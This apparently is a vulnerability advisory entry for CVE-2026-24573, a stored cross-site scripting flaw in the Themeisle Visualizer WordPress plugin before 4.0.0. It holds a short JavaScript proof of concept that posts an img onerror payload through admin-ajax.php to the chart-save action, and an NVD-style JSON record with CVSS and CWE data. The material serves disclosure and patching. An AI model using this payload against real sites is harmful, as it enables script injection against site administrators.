CVE-2026-24573

// PoC for CVE-2026-24573 // Conceptual exploitation of Stored XSS in Visualizer // Attacker sends a POST request to inject payload var xhttp = new XMLHttpRequest(); xhttp.open("POST", "/wp-admin/admin-ajax.php", true); xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // Payload injection into chart data parameter var params = "action=visualizer_save_chart&visualizer-chart-data=<img src=x onerror=alert('XSS')>"; xhttp.send(params); // When an admin views the chart, the alert triggers

{"cve": {"id": "CVE-2026-24573", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:16.253", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themeisle Visualizer allows Stored XSS.\n\nThis issue affects Visualizer: from n/a before 4.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/visualizer/vulnerability/wordpress-visualizer-plugin-4-0-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}